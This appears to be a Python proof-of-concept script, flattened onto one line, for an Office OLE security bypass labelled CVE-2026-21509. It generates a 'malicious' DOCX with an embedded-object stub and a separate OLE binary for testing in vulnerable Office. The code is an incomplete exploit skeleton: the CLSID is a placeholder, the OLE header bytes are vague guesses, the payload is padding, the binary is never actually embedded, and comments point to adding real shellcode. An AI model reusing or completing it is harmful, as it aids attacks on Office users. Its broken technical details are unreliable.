# CVE-2026-21509 PoC - Microsoft Office OLE Bypass (Conceptual) # Generates a DOCX with embedded OLE object to test security bypass # Requirements: pip install python-docx olefile # Author: Ashwesker ==> https://github.com/Ashwesker/Ashwesker-CVE-2026-21509 # Run on any OS; open output file in vulnerable Office VM (pre-Jan 26, 2026 patch) import argparse from docx import Document from docx.oxml.ns import qn from docx.oxml import OxmlElement from docx.shared import Inches import olefile import io import uuid def create_malicious_docx(output_path, clsid="EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B"): """ Create DOCX with embedded OLE object. clsid: Placeholder for vulnerable COM CLSID (replace with real one from OleViewDotNet) """ doc = Document() # Add innocent text doc.add_paragraph("Test document for CVE-2026-21509 research. Open to check OLE handling.") # Generate minimal OLE stream (header + CLSID) ole_stream = generate_ole_stream(clsid) # Embed as OLE object # Use OpenXML to add embedded object # Note: python-docx doesn't directly support OLE, so we use low-level XML paragraph = doc.add_paragraph() run = paragraph.add_run() # Create drawing element for embedded object drawing = OxmlElement('w:drawing') inline = OxmlElement('wp:inline') extent = OxmlElement('wp:extent') extent.set(qn('cx'), '1905000') # ~2 inches extent.set(qn('cy'), '1905000') inline.append(extent) docPr = OxmlElement('wp:docPr') docPr.set('id', str(uuid.uuid4().int % 2**31)) docPr.set('name', 'Embedded OLE') inline.append(docPr) graphic = OxmlElement('a:graphic') graphic_data = OxmlElement('a:graphicData') graphic_data.set(qn('uri'), 'http://schemas.openxmlformats.org/drawingml/2006/picture') # Embed OLE as picture fallback (simplified; real OLE needs binary part) pic = OxmlElement('pic:pic') pic.set(qn('xmlns:pic'), 'http://schemas.openxmlformats.org/drawingml/2006/picture') # ... (add blipFill, etc. for actual image fallback) graphic_data.append(pic) graphic.append(graphic_data) inline.append(graphic) drawing.append(inline) run._r.append(drawing) # Add OLE binary part (alternative format import) # python-docx doesn't support directly; use olefile to create .bin ole_bin_path = "embedded_ole.bin" with open(ole_bin_path, 'wb') as f: f.write(ole_stream) print(f"OLE binary saved as {ole_bin_path} (embed manually in DOCX if needed via tools like oletools)") doc.save(output_path) print(f"Generated malicious DOCX: {output_path}") print("Open in vulnerable Office (pre-patch) to test bypass. Use isolated VM!") def generate_ole_stream(clsid_str): """ Generate basic OLE1 stream: header + CLSID Real exploit would include malicious binary/shellcode trigger """ try: clsid = uuid.UUID(clsid_str) clsid_bytes = clsid.bytes_le # Little-endian for OLE except: clsid_bytes = b'\x00' * 16 # Fallback # Minimal OLE header (version 1.0, etc.) header = ( b'\x01\x05\x00\x00' # Format ID b'\x02\x00\x00\x00' # OLE version b'\x0C\x00\x00\x00' # Some flags # More headers... ) # Append CLSID payload = header + clsid_bytes # Pad or add dummy data (extend for real payload) payload += b'\x00' * (512 - len(payload)) # Rough padding return payload if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2026-21509 PoC - OLE Embed in DOCX") parser.add_argument("--output", default="CVE-2026-21509_Test.docx", help="Output DOCX path") parser.add_argument("--clsid", default="EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B", help="COM CLSID to embed") args = parser.parse_args() create_malicious_docx(args.output, args.clsid)